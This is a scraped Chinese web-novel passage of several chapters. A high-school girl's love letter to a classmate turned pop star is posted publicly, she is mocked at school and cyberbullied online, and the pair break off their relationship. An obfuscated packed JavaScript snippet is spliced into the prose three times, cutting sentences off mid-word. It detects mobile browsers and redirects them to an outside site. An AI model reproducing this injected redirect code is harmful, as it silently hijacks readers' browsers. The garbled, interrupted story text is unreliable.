史振邦刚刚开完会回来,会上他被高二年级的年级主任作为反面教材当着十几个班主任的面毫不留情批评了一顿,他现在的心情实在不佳,但看着眼前这位“得意门生”,他还是勉强挤出一个笑容。 “加油。”他看着三班唯一的这个状元苗子,语气颇为期许:“这次期末考试好好考,争取再拿下年级第一。” 辛蕴弯弯嘴唇,乖巧地应道:“我知道了,史老师。” 从史振邦的办公室出去,辛蕴的心情不错,她拿出手机给邬蒙发过去一条消息—— 【你今晚几点的飞机?】 邬蒙昨天跟辛蕴说他今天会回南城,但不确定是几点钟。 到了年底,娱乐圈的各种活动很多,大大小小的年终晚会和颁奖仪式让人看得眼花缭乱,邬蒙这些天忙着四处跑通告,要不是公司里考虑到他高中生的身份,必须要放他回来参加期末考试,否则邬蒙怕是连回来过年的时间都没有。 消息发出去了,邬蒙那边没有回。 辛蕴猜测他应该还没起床。 昨晚邬蒙参加了一个洗发水品牌的广告拍摄,那个广告导演的要求很高,一直反复折腾拍到了凌晨三点多才收工。现在是上午八点多,邬蒙肯定还在睡觉。 想起昨晚他给她发过来一张哭丧着脸的自拍照,再想想照片上他被折腾得奇形怪状的发型,辛蕴忍不住弯起了嘴角,她把手机收进口底里,抬脚朝三班教室的方向走。 阳光透过屋檐落在走廊里,地砖表面的那层冰已经融化了,只剩下一滩滩颜色或深或浅的水渍。 辛蕴抬起头,感受着阳光落在她脸上的温暖触觉。 教师办公室和三班教室位于这条走廊的两端。 一阵喧嚣的噪声从前方传过来,越靠近三班教室,那噪声越大。 透过窗户玻璃,辛蕴看到三班教室里乱作了一团,有好多人围在黑板旁边的公告栏前面手舞足蹈、又笑又闹,看起来情绪十分激动。 她走到教室门口,正要绕过围在公告栏前面的人群,朝自己的座位方向走去。 教室里的同学们却突然安静了下来。 辛蕴有些奇怪,环视了一眼四周,发现教室里的所有人都在看着她。 辛蕴在那些脸上看到了一种熟悉的神情—— 戏谑、鄙夷、嘲弄、看好戏、憎恶…… 那种神情就像是一根刺,早已经深深地扎进了她敏感的神经里。 辛蕴曾经被这种目光刺痛过无数次。 身体产生的反应是迅速又猛烈的。 几乎是一瞬间,辛蕴的心猛然一提,又像是电梯坠落一般狠狠地砸了下去。 她愣在那里,困惑又惊恐。 为什么? 为什么那些人又用这种目光看着她? “哈哈哈哈哈她回来了!” “哟,这不是邬蒙的小迷妹嘛哈哈哈哈哈!” “完蛋咯,人家回来啦,有好戏看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832068|175609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” “想不到她还会给男生写情书呢……” 一些刺耳的窃窃私语声传进了辛蕴的耳中。 像是意识到了什么,她猛然转头看向旁边公告栏的方向。 四四方方的公告栏里密密麻麻地贴了很多通知,最中间的位置多了一张粉紫色的信纸,在一众雪白的A4纸通知单里看起来十分显眼。 那张信纸的颜色和上面的图案,辛蕴简直熟悉得不能再熟悉了。 一瞬间,她浑身的血液像是被冻住了。 那是……她写给邬蒙的那封信?! 辛蕴浑身的热量和温度仿佛都在那一秒钟褪了个干净,她僵在那里,四肢冰冷得像是一座冰雕,动不了分毫。 怎么会…… 那封信怎么会在那里…… 辛蕴的大脑一片空白。 周围那些可怕的目光像是毒蛇一样缠了上来,让她无法呼吸。 看到她的窘迫,围在公告栏前面的几个男生捧腹大笑,发出尖锐的笑声,还有一个男生凑到公告栏前,大声地朗读着信纸上的文字。 “致全世界最帅气的吉他手阿蒙,不知道为什么,突然很想给你写一封信,之前想了很多,可真的提起笔的时候又不知道该写些什么。我努力回想着第一次遇见你时的场景,可脑海中却只有你脸上的那个笑容……” 他夹着嗓子,读得阴阳怪气。 周围的嘲笑声潮水一样涌了过来,几乎要把她淹没。 辛蕴整个人仿佛被抽空了一般,她僵硬地挪动着身体,走到那几个男同学面前,想要拿下贴在公告栏里的那张信纸。 可是那些男生人高马大,他们笑嘻嘻地挡在辛蕴面前,根本不让她靠近。 “滚开!”身后有个人拨开人群冲了过来,他一把扯下了公告栏上的那张信纸。然后拖住辛蕴的手,直接把她拽出了教室。 是潘青昀。 辛蕴没有任何反应,任由潘青昀把她往走廊那边带。 两人还没走出去几步。 身后的三班教室里爆发出一阵尖锐的笑声和口哨声。 潘青昀的脸色铁青,转头去看身边,看到辛蕴没有一丝血色的脸,他吓了一跳,结巴道:“你……你没事吧?” 辛蕴眼神空洞地看着某处,像是完全没有听到他的话。 潘青昀愧疚到了极点,一时间竟然不知道该说什么好,只能笨拙地安慰:“你不要太难过了,他们就是无聊八卦,你……你不要放在心里,过段时候他们就都忘记了。” 然而不管他怎么安慰,辛蕴还是一言不发,像是一个被抽空了灵魂的空壳。 走廊上人来人往,潘青昀只能带着她到楼下花坛的角落里。 辛蕴抱着膝盖蜷缩着身体坐在花坛边。 上课铃声已经敲响了好几遍。 潘青昀正犹豫要不要开口说些什么。 辛蕴突然抬头看向他。 她惨白着一张脸,两行眼泪顺着脸颊滚落下来。 “完了,一切都完了。” 冰冷的日光下,女孩没有一丝血色的双唇颤抖着,像是一双快要被折断的蝴蝶翅膀。 48. 第 48 章 这节课是英语课,三班的英语老师周老师一走进教室就发现班里的气氛不太对,再一看前排的辛蕴和潘青昀都不见了,便开口问其他学生是不是发生了什么事。 底下的学生们面面相觑,谁都不愿意开口说。 “班长,你来说说到底是怎么回事。”周老师是位很有气质的中年女性,说话也是温温柔柔的。 王嘉禾站了起来,表情有些为难,说:“有人把辛蕴写给邬蒙的情书贴在了公告栏上,辛蕴看到了有些崩溃,潘青昀拉着她跑了出去。” 一听这话,周老师皱紧了眉,她明白这件事可大可小,于是赶紧让底下的学生们自己自习,自己走出教室去找辛蕴和潘青昀。 她在二楼的走廊和犄角旮旯里找了一圈,没有看到两人,正在犹豫要不要回教师办公室和史振邦商量一下这件事,一抬头就看到潘青昀从楼梯转角处走了过来。 “辛蕴人呢?”周老师语气焦急地问。 潘青昀的脸色很不好看,闷声说:“她回家了,让我跟老师您请个假。”他刚才说要送辛蕴回家,却被她坚决拒绝,他很担心她,却又拗不过她,只能自己先回来。 发生了这种事情,周老师当然也能理解辛蕴的心情,她点点头表示理解,又问:“她现在还好吧?” 潘青昀摇摇头,说:“不知道。”辛蕴从头到尾只说过那一句话,其余时间都只是保持沉默,一想到她那苍白的脸色,潘青昀的心就揪成了一团。 辛蕴是三班的尖子生,平时班里的几个任课老师对她的印象都非常好,做了一年的师生,周老师也多多少少了解辛蕴的性格,知道她清高又要强,再加上处于青春期的小女孩内心情绪本来就敏感,不用想都知道今天发生的这件事对辛蕴的打击有多大。 这件事要是处理不好,怕是会对辛蕴产生不小的影响。 周老师有些头疼,对着潘青昀匆匆丢下一句“你先回教室吧”,然后就脚步匆匆地朝走廊那边的教师办公室去了。 潘青昀深吸了一口气,捏紧拳头,闷头往三班教室的方向走。 教室里依旧吵得不可开交,同学们都在表情兴奋地讨论这件事。 潘青昀大步走上讲台,冷着脸看着下面的人,吼了一声:“安静!!!”他冰冷的目光在教室里扫了一圈,说:“我看你们谁敢把今天的事情说出去!” 三班所有人都知道潘青昀家里很有实力,就连后排的那些体育生平时也不敢欺负他,潘青昀自己也还算低调,经常请班里的人吃吃喝喝,所以尽管他是插班生,在班里的人缘却很不错。 看惯了潘青昀平时笑嘻嘻的样子,底下的人一时间被他这暴躁的发言吓得愣住了。 所有人都面面相觑,你看看我,我看看你,没有人开口说话。 讲台上,潘青昀的目光直接扫向了教室后排的某个方向。 坐在下面的宋朵朵瑟缩了一下,低下头一言不发。 潘青昀太阳穴暴起青筋,收回视线,攥紧拳头,走到自己的位置上坐下。 班里还没安静几分钟,史振邦脚步匆匆地赶了过来,他走了进来,反手关上了教室的门,有些面色慌张地扫了一眼班上的学生,然后快步走上讲台,开口的第一句话就是:“今天这件事,你们千万不能往外面说。” 尽管史振邦再三强调邬蒙现在已经是一位大明星,这件事一旦传出去,不管是对邬蒙还是辛蕴都会造成无法预估的影响,但他的话还是晚了一步。 刚才下课的时候早就有外班的同学挤在三班的教室外面看热闹,一传十十传百,这件事很快就在这一层的几个班里传开了,再慢慢蔓延到整个年级,最后又飞快地在各种班级群和校内论坛里发酵起来。 用不了一上午,几乎所有一中同学都知道了高二二班有个叫辛蕴的女生给他们班的明星同学邬蒙写了一封情书。 在校园里,关于恋爱的八卦消息就像是决了堤的洪水,怎么防也是防不住的。 到了中午,互联网上已经开始有了一些风言风语。 有人把这件事发到了邬蒙的超话里,很快就有粉丝看到了这个帖子,开始讨论这件事。 有女生给邬蒙写情书这件事本来不算稀奇,但敏感点就在于写情书的那个女生是邬蒙的同班同学,而且根据爆料这个女生以前还和邬蒙当过一个学期的同桌。 这就让整件事变得有些暧昧起来。 邬蒙虽然是以乐队歌手的身份出道的,但他现在的名气和在互联网上的声量很大程度上还是依赖他的粉丝。 在那档乐队综艺中,他鲜明的台风和英俊的长相吸引了一大批年轻的女性粉丝,这些粉丝凝聚力强、舍得花钱、战斗力还很强,她们在各个平台安利邬蒙,给他砸钱搞应援,甚至还有背景深厚的粉丝利用家里的关系帮邬蒙拉资源。 拥有一帮这样强大的粉丝也是有利有弊。“利”是显然易见的。“弊”就是粉丝付出多了就会理所应当地觉得自己可以插手偶像的一切。尽管她们自称是邬蒙的“妈妈粉”、“姐姐粉”、“事业粉”……但实际上本质都是“女友粉”,女朋友对自己的男朋友天然就有一种强烈的占有欲。 这个消息一爆出来,粉丝们顿时炸开了锅。 过了几个小时,突然又有人爆料,说给邬蒙写情书的那个女同学疑似是邬蒙某个老粉群里的群成员。 这更是一石激起千层浪, 如果只是单纯的女同学暗恋男同学就罢了,但那个女生竟然还是邬蒙的粉丝。 这简直犯了粉圈的大忌。 粉丝们可以接受一群人一起喜欢自己的偶像,甚至巴不得能多拉一些人来喜欢自己的偶像,但她们绝对不能接受她们中间的某一个人去单独接近自己的偶像。 这无疑是一种彻底的背叛。 很快就有人扒出来了辛蕴的微博账号。 有粉丝发现,之前邬蒙和同校的另一个女同学传绯闻的时候,这个账号曾经相关微博底下帮邬蒙澄清—— 【只是一张错位照片而已,他们俩根本不是男女朋友关系,先别着急,看看邬蒙自己怎么说,他会给大家一个说法的,我相信他。】 甚至在别人质疑的时候,那个账号还回复道——【我就是知道。】 虽然是在帮邬蒙说话,但这两条评论显然精准踩在了粉丝们的雷点上,简直是在粉丝们的脸上狠狠甩了两巴掌。 很快,除了微博之外的几个社交平台也开始出现了相关帖子。 豆瓣上有网友发了一个标题名为【真嫂子就是硬气啊】的帖子,里面放了这两条评论的截图,瞬间有了好几百层的讨论,简直是粉黑大战、乌烟瘴气—— 【我就是知道……我要是粉丝看到这句话我就心梗了。】 【果然,小女孩最懂怎么气小女孩。】 【啧啧,嫂子这正宫气派,演都不想演了吧。】 【虽然但是,难道不是那个女生给邬蒙写情书吗,邬蒙又没做什么,两个人是不是男女朋友关系现在还不确定吧。】 【粉丝辛辛苦苦反黑,偶像美美恋爱ing~】 【还是他们高中生会玩啊,啧啧~】 邬蒙的粉丝看到这个帖子气得牙都咬碎了,她们把链接发到超话里,号召粉丝去举报这个帖子。 热搜很快就爆了,热搜广场上对家粉和黑粉夹在中间搅浑水,但不管是什么属性的粉丝,不管她们对邬蒙的态度是怎么样的,但她们对辛蕴的看法都是一致的——这是一个不安本分、心思深沉的坏女孩。 辛蕴的个人信息很快就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“错了,越是这种时候你越是什么都不能做。”桃姐快步走过来,一把抢走了邬蒙手里的手机,语气冰冷又严厉,说:“邬蒙,我记得我之前已经警告过你了吧?我让你平时在学校跟你的那些女同学保持距离,你听了吗?你不知道你现在是公众人物吗?你不知道你的一举一动都有多少人在盯吗?今天幸好只是那个女同学写给你的情书被曝光了,要是你们俩的照片或者聊天记录被曝光了那你就完了!你知道吗?!” 邬蒙捏紧拳头,舔了舔干涩的嘴唇。 这些他怎么可能不懂? 他也有过纠结,也有过后撤,但最后还是选择屈服于了自己的内心。 室内的暖气开得很足,邬蒙的额头渗出了一层热汗,他的心乱得厉害,今天一天他都在工作,整件事都是从桃姐口中听到的,他不知道现在事情已经发展到了什么地步,也不知道辛蕴现在的情况怎么样。 他简直不敢去想,如果这件事真的让她受到了无法挽回的伤害,那他是不是一开始就不应该放纵自己的内心? 这一切都是他的错,是他太贪心了。 看到邬蒙脸上的复杂神情,桃姐冷哼一声:“你不会真的以为你能有今天是因为你唱歌多好听多有才华吧?外面有那么多长得帅有才华的人想当明星,他们只是缺了点你的运气罢了。邬蒙,我告诉你,没你的那些粉丝,你屁都不是。你要是还有脑子,就千万别做蠢事。” “这件事过个一个星期半个月就没什么人记得了,但你现在如果非要在这个节骨眼上回南城找她,那你就是在害她。” 她拉开会议室的门,最后回头看了一眼僵在那里的邬蒙,说:“邬蒙,你要吃这碗饭,就要想好该付出什么代价。” 49. 第 49 章 邬蒙的经纪公司很快就做出了反应,事情发生的当晚就在官方微博账号上发表了一篇澄清声明。 声明里说邬蒙现在年纪还小,并没有谈恋爱的打算,还强调了对于在公共平台上造谣抹黑公司艺人的行为经纪公司会依法追究法律责任。 不管是不是真的会追究,这个澄清声明无疑给粉丝打了一剂强心针。 邬蒙的大粉很快组织粉丝在各大平台上用统一话术进行控评,话里话外的意思就是整件事和邬蒙无关,都是他的那个女同学一厢情愿想要攀附大明星。 一时之间粉丝群体对于辛蕴的仇恨值达到了顶峰。 毕竟就是因为这个女生的虚荣心才害得她们的偶像邬蒙无端受牵连经历了一场舆论风波。 况且辛蕴身为邬蒙的同学,竟然还长期卧底在粉丝群里,一边窥探着粉丝对邬蒙的真心,一边妄图在现实生活里接近邬蒙,简直是其心可诛。 互联网上粉丝们对于辛蕴的口诛笔伐一时之间宛如洪水般泛滥,她就像是一个被钉在耻辱柱上实施石刑的犯人,各种污言秽语就是那一块块石头,一块接着一块猛然砸过来,不给她一丝喘息的机会,将她的尊严和她的灵魂砸得粉碎。 这是一场关于仇恨和妒忌的狂欢。 但同时也有一批粉丝联想到前不久的手链事件,再结合之前的一些蛛丝马迹,她们觉得事情并没有那么简单,开始怀疑或许邬蒙真的在和这位叫辛蕴的女同学在谈恋爱。 这种猜想点燃了粉丝们本就敏感的神经,让她们的情绪燃烧到了极致。 粉丝群里有人开始发表脱粉回踩言论,她们对辛蕴的仇恨之火开始烧到了邬蒙身上,甚至有很多粉丝开始黑头像,【邬蒙脱粉】的这个词条也出现在了热搜池里,并且热度越来越高,慢慢在往上爬。 不到一天的时间里,所有的一切都乱了套。 - 辛蕴不知道自己是怎么从一中走回家的。 她开门进去的时候,吴咏梅正在自己的房间里补觉,没听到辛蕴进门的动静, 辛蕴走进自己的房间,锁上房门的那一瞬间,她整个人脱了力般地靠在了背后的门板上。 像是有一股沉重的力量在拽着她的身体慢慢下坠,辛蕴顺着身后的门板慢慢下滑,最后坐在了冰冷的地面上,眼神空洞地看着虚空处发呆。 比起沉浸在情书被当众曝光的屈辱难堪中,辛蕴知道她现在更应该考虑的是这件事可能会产生的一系列后果。 辛蕴知道这件事应该很快就会在互联网上引起不小的动静,也猜想到了她可能会面对一些来自各方的恶意。 辛蕴做好了最坏的心理准备,可当她真的拿起手机看到那些针对她的谩骂时,才知道原来一切都比她想象中的还要糟糕。 事情似乎已经发展到一个不可控的地步了。 辛蕴本来以为经过几乎整整一年的孤立和霸凌,她的心脏应该已经足够坚强到应对一切外界的伤害了,但很明显她还是高估了自己。 看着网络上那些对她的谩骂造谣,那些肮脏的字眼、那些恶毒的诅咒、那些文字背后最深最歹毒的恶意让辛蕴几乎浑身颤抖。 以往那些面对面的恶意至少还裹着一层经过社会驯化的体面包装,但是现在隔着互联网,人性里最恶的那一面藏在键盘后面被无限放大,作为被群起而攻之的那一个对象,辛蕴没有任何反抗的余力。 她浑身冰凉,几乎不能呼吸,觉得有无数把锉刀在一点一点地刮自己的骨头。在眼泪掉下来的前一秒,辛蕴颤抖地关掉了微博,点开了微信。 史振邦给她发了很多消息。 辛蕴没有点开看。 黄丽君也发了很多安慰她的消息。 辛蕴现在已经没有心力去回。 再往下,是小七发过来的一条消息——【???什么情况???你跟邬蒙在谈?】 看着手机屏幕里小七的质问,辛蕴的心猛然往下一沉。 她不知道该怎么回答小七。面对小七,辛蕴有种无地自容的惭愧和羞耻。 她提不起任何力气去应付这种质问,只能继续往下滑动着联系人界面。 辛蕴的微信好友不算多,一下就滑到了底。 邬蒙还是没有回她的消息。 他和她的那个对话框安静地躺在手机屏幕里。 辛蕴盯着那个对话框看了许久,屏幕里还是没有跳出来任何消息。 她闭上眼睛,按灭了手机屏幕。 房间里拉着窗帘,辛蕴浑浑噩噩,陷入了一种半梦半醒的状态中,直到吴咏梅过来敲门。 “蕴蕴,你是不是在房间里?” 吴咏梅做好了中饭,却一直没等到辛蕴回家,她正要给她打电话,转头却看到门口地毯上放着辛蕴的鞋,于是便走过来敲辛蕴的房门。 “蕴蕴,你怎么把门锁上了?怎么了?” 辛蕴从噩梦中猛然惊醒,吓出一身冷汗,听到吴咏梅的声音,她才反应过来刚才只是做了一场梦。 可现实好像远比噩梦更可怕。 辛蕴强行打起精神,沙哑着声音说:“我有点不舒服,请假回来睡一会儿。” “你哪里不舒服?把门打开,妈妈进来看看你。”吴咏梅扭动着门把手想要进来。 辛蕴的心猛然一跳,被那扭动门把手的声音弄得有些烦躁,她的神经像是一根绷得快要断裂的弦,已经处在崩溃的边缘,但她不能让吴咏梅听出来异常,只能强行压住这种情绪,声音平静地说::“妈妈,我没事,我现在很困,你让我睡一会儿吧。” “你这孩子,真不听话。”辛蕴不开门,吴咏梅也没办法,她的脚步声在门外徘徊了一会儿,随后就消失不见了。 总算是安静了。 辛蕴脑中绷紧的那根弦稍稍放松了些,从小到大当惯了乖乖女,她连情绪崩溃也只能是悄无声息的。 辛蕴又强打起精神给史振邦发去了一条消息,说自己想要请几天假。 对面很快就回了消息过来,一大段的安慰和鼓励的话语。 辛蕴已经没力气再组织语言,只能简单地发过去一个“谢谢老师”,然后重新按灭手机,再次陷入昏睡中。 辛蕴就这么一直睡到了傍晚,直到再也睡不着,她打开手机,看到了邬蒙经纪公司发的那条澄清微博。 那条澄清微博里写道——“本公司艺人邬蒙和该女生之间并无除同学关系之外的任何关系”。 辛蕴盯着那行字看了片刻,然后抱着膝盖,转头去看窗外。 外面的天已经黑了。 过了一会儿,吴咏梅又过来敲门。 “蕴蕴,该起床去上晚自习了。” 为了不让吴咏梅担心,辛蕴只能装作什么事情都没有发生,她勉强从床上爬起来,穿上衣服背上书包,拉开了房门。 吴咏梅站在门外,满脸关切地看着她,问:“你怎么了?怎么睡了一下午?发烧了吗?”她伸手过来要摸辛蕴的额头。 辛蕴躲了过去,说:“我没事。”她抬脚就往门口走。 吴咏梅跟在后面,问:“不吃晚饭了吗?” 辛蕴现在实在吃不下任何东西,她的状态也没办法支撑她一直在吴咏梅面前勉强装淡定,她只能脚步匆匆走出家门,说:“我不饿。” 吴咏梅应该是也察觉到了辛蕴情绪有些低落,便也没勉强,只是忧心忡忡地看着她离开的背影。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832070|175609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 辛蕴走出小区大门。 看着眼前朦胧的夜色和浮在夜色里的路灯,她突然生出一种深深的茫然。 学校她肯定是不想去的,可除了学校,她还能去哪里呢? 辛蕴背着书包,漫无目的、恍若行尸走肉一般地沿着这条街一直往前走。 走了一会儿,天空突然下起了小雨。 辛蕴没有打伞,她穿行在雾蒙蒙的雨丝中,空气中的水汽打湿了她的发。 她浑浑噩噩地走到了一个公交站台上躲雨。 这个公交站台比较偏僻。 夜空灰蒙蒙的,整座城市显得冰冷又寂静,仿佛只剩下了她一个人。 辛蕴下意识地转头,目光一滞—— 身后是一块耀眼夺目的广告牌。明亮的液晶屏幕上,邬蒙的笑容灿烂又温暖,和眼前这个冷漠的冬夜形成了鲜明的对比。 辛蕴的视线落在那张近乎完美的脸上。 屏幕上的光倒映在她眼底,她那双眼睛像是蒙了一层湿漉漉的雾气。 外面的雨越下越大了。 辛蕴就这么出神地看着屏幕里的大明星邬蒙,久久没有移开视线。 - 这几天邬蒙过得水深火热,他的手机被桃姐强行拿走了,一举一动还都被桃姐派来的助理监视着,他根本没有办法和外界取得联系。 好在今天有个之前已经谈好的广告拍摄活动,违约要赔钱,桃姐只能暂时放他出来工作。 拍摄工作一直到晚上九点多才结束,邬蒙找了一个没人注意的间隙,问旁边的一个工作人员借了一个手机。 他走到楼梯间里,拨通了那个熟悉的号码。 电话响了很久才被接通。 或许是有预感,电话那边的声音带着小心翼翼的试探—— “喂?是……你吗?” 邬蒙的心就要从嗓子眼里蹦出来了,听到手机那边传来女孩的声音,一股难以言喻的心疼几乎将他吞没。 “是我。”邬蒙努力地克制着自己的情绪,问:“你怎么样?这几天还好吗?” 辛蕴没有来得及回答,他又立刻焦急地解释:“我的手机被公司的人拿走了,他们不让我跟外面联系,对不起,这几天没能给你打电话。” 电话那边久久没有出声,邬蒙的一颗心像是被放在油锅上煎一般。 过了许久,他才听到辛蕴低低的声音。 “我没事。” 好不容易才拿到手机和辛蕴取得联系,邬蒙的心情本来是很激动的,可是辛蕴的沉默像是一盆冷水浇了下来,让他的情绪慢慢变得冷静下来。 邬蒙不得不开始思考——他打电话的这个目的是什么呢?只是单纯地想表达一下自己的关心? 可是他明明知道他们俩之间有一个更亟待解决的问题。 其实直到现在邬蒙还是心存一丝幻想的。 但辛蕴的沉默让他有些胆怯。 他知道他大可以像以前那样给她承诺,让她等他回去。 可是他有什么立场去这么做呢?他有什么底气去要求她奔赴一段根本看不见未来的关系呢? 而且现在就连他自己也已经开始怀疑他这么做是不是一种彻头彻尾的自私?他有什么权力要求她跟他谈一场注定见不得光甚至很有可能会因此受伤的恋爱呢? 那一刻,舞台上自信张扬的大明星邬蒙第一次有些怯场。 两人的沉默足够漫长,漫长到有些答案似乎已经在这种默契的沉默里渐渐浮现了。 “辛蕴,我……”邬蒙的喉咙里像是被塞进了一团棉花,他想开口说点什么,可是他几乎说不出一句完整的话:“关于我们,你……现在是怎么想的?” 50. 第 50 章 没有去学校的这段时间里,辛蕴一直躲在市立图书馆里。 她每天早上照常背着书包出门,在图书馆的自习室里坐着发呆,到了中午回家吃饭,午睡完再出发去图书馆,晚上图书馆关门早,她只能像个孤魂野鬼一样游荡在城市的街头。 到了第三天,她等来了邬蒙的电话。 看到一个陌生的帝都号码打过来,辛蕴的心猛然漏跳了一拍。 她找了个安静的地方,接通了手机,用小心翼翼的语气试探地问:“喂?是……你吗?” 邬蒙的声音从电话那边传出来:“是我。你怎么样?这几天还好吗?” 听到他声音的那一瞬间,辛蕴只觉得鼻子一酸,已经麻木的情绪仿佛一瞬间苏醒了过来,所有的痛苦、害怕、羞耻、愤怒……全都化作了汹涌的委屈,那一刻,辛蕴突然很想哭。 她努力地平复着自己的情绪,不想让电话那边的邬蒙听出异常。 辛蕴知道这几天他的日子应该也不好过,她不想再给对方增加任何心理负担。 “我的手机被公司的人拿走了,他们不让我跟外面联系,对不起,这几天没能给你打电话。”邬蒙的声音带着焦急和歉疚。 辛蕴的眼泪不受控制地流了下来,她捂住嘴巴,努力控制自己的气息,过了许久,才用低低的声音勉强回道:“我没事。” 电话那边,邬蒙似乎也不知道该说些什么,两人陷入了更为长久的沉默。 辛蕴无声地流着眼泪,她当然明白邬蒙的处境,他的经纪公司虽然发了声明,但是这场风波非但没有被平息下去,这几天反而愈演愈烈,原本对辛蕴的单纯讨伐已经演变成了对邬蒙作为未成年明星失责的谴责。 邬蒙这个娱乐圈的新起之秀显然引起了很多人的注意,这场舆论风波的参与者除了他战斗力强又不好控制的粉丝群体之外,还有很多别有用心的团队也在背后出了一些力。 一个处理不当,邬蒙在娱乐圈的星途怕是会受到很大的影响。 想到这里,辛蕴突然反应过来,邬蒙这时候过来打电话给她,他的目的是什么呢? 其实她心里也明白,发生了这种事,他们俩之间应该很难再有后续了。 邬蒙是不是也犹豫了?他打这通电话过来是想给两人之间做一个了结? 这个想法一冒出来,辛蕴的心像是被千万根钢针扎一般的痛。 他们彼此都知道,结局是注定的,但真的到了该摊牌讲出来的时候,她还是没有办法做到冷静淡定地面对。 可是辛蕴明白,邬蒙有这样的想法也很正常,这不是他的错。 往坏一点想,是他犹豫退缩了,他选择了他的事业,放弃了这段还没来得及开始的懵懂感情。 往好一点想,站在邬蒙的角度看,他这么做其实是在保护她。 纵然她不愿意成全他的这种“牺牲”和“好心”,辛蕴也不得不选择接受。 她怎么忍心去强求呢? 辛蕴曾经看过邬蒙在酒吧和餐厅里奔波打工的模样,她比任何人都清楚他这一路走过来有多不容易。 邬蒙能站在今天这个位置,实力、长相、努力和机遇,少了哪一个要素都不行。 他的成功如此难得、如此难以复制。 辛蕴曾经看过他站在舞台上闪闪发光、万众瞩目的样子,又怎么能忍心把他从那个位置上拉下来呢? “辛蕴,我……”电话那边,邬蒙终于开口说话了:“关于我们,你……现在是怎么想的?” 这是一个问句。 不是陈述句,不是命令句。 是一个征求她意见的问句。 这个问句击碎了辛蕴内心最后的一丝侥幸。 她闭上眼睛,深吸了一口气,说:“我们之间,就这样吧。” 电话那边,邬蒙的呼吸声突然变得急促粗重,他沉默了片刻,问:“你考虑清楚了吗?” 辛蕴仰头看着头顶灰蒙蒙的夜空,迎面吹来的寒风让她的泪痕变得干冷,凝结在皮肤表面,有些轻微的刺痛感,那种刺痛感从脸颊泛滥到全身,她几乎痛到难以呼吸。 “嗯。” 电话那边,依旧是长久的沉默。 “好。”邬蒙的声音变了调,夹杂着一些压抑的哽咽气息。 辛蕴直接挂断了电话,生怕自己再听到一个多余的字、再听到一个让她心软的气息声。 她一手抓着手机,一手扶住旁边的路灯柱,像是离了水的鱼,大口大口地呼吸着空气,几乎就要窒息。 身旁的车水马龙络绎不绝,像是为了更加贴合她现在的心情,凛冽的寒风毫不留情地吹了过来。 辛蕴突然发现,原来南城市的冬天真的很冷。 她知道以后她要度过很多个没有邬蒙的冬天。 而在那些冬天后面,没有她所期盼的春天和盛夏。 - 期末考试的前一天,史振邦给辛蕴打去电话,说他很理解她的心情,但是期末考试是大事,她必须回来参加。 辛蕴回了一句好。 第二天,她背着书包去了一中。 还是原来那条路,路上的景色还是一样,但辛蕴却莫名觉得有些陌生。 几天没有上学,现在再重新走这条路,她脑海里蹦出来的全都是邬蒙的脸。 她曾经站在这条路上看着骑着单车的邬蒙从她身边急驰而过,那时候的阳光很灿烂,树木绿荫浓重,少年伏在自行车上的背影看起来是那么的鲜明和自由。 那应该是一个距离现在很遥远的夏天。在那个夏天里,他们拥有很多美好的回忆。 但是现在,那些回忆却仿佛变成了对她的惩罚。 辛蕴的脑子里像是有一把无形的大手,在来回拉扯她的情绪。 她就这么浑浑噩噩地去史振邦的办公室拿了准考证,然后在他担忧的眼神里走出办公室,按照准考证上面的考场地址去找她的考场。 沿途辛蕴穿过很多教室。 有眼尖的同学认出了她,表情兴奋地转头指给身旁的同学看。 辛蕴的心情已经不会再为这样的眼神有什么起伏了。 两天的考试,辛蕴不知道自己是怎么熬过来的。 接下来是一个月的寒假。 关于那桩恋爱绯闻,这些天互联网上多了一些不一样的声音。 有据说是一中同学的微博账号爆料说整件事不过是一个误会,那是高中同学之间的恶作剧,没有人给邬蒙写情书,所谓的绯闻不过是一个乌龙。 也有人说邬蒙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832071|175609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之前没成为明星的时候就很少来学校,一个人独来独往,根本不像是会和同班女同学谈恋爱的样子。 还有人说被造谣的女同学平时成绩很好,是班里的尖子生,是有人出于嫉妒才捏造了这个绯闻。 真的假的消息都有,经过岁月史书的一番洗白,加上每天互联网上发生的吸人眼球的新鲜事实在太多了,大众的注意很快就被别的事件吸引走了。 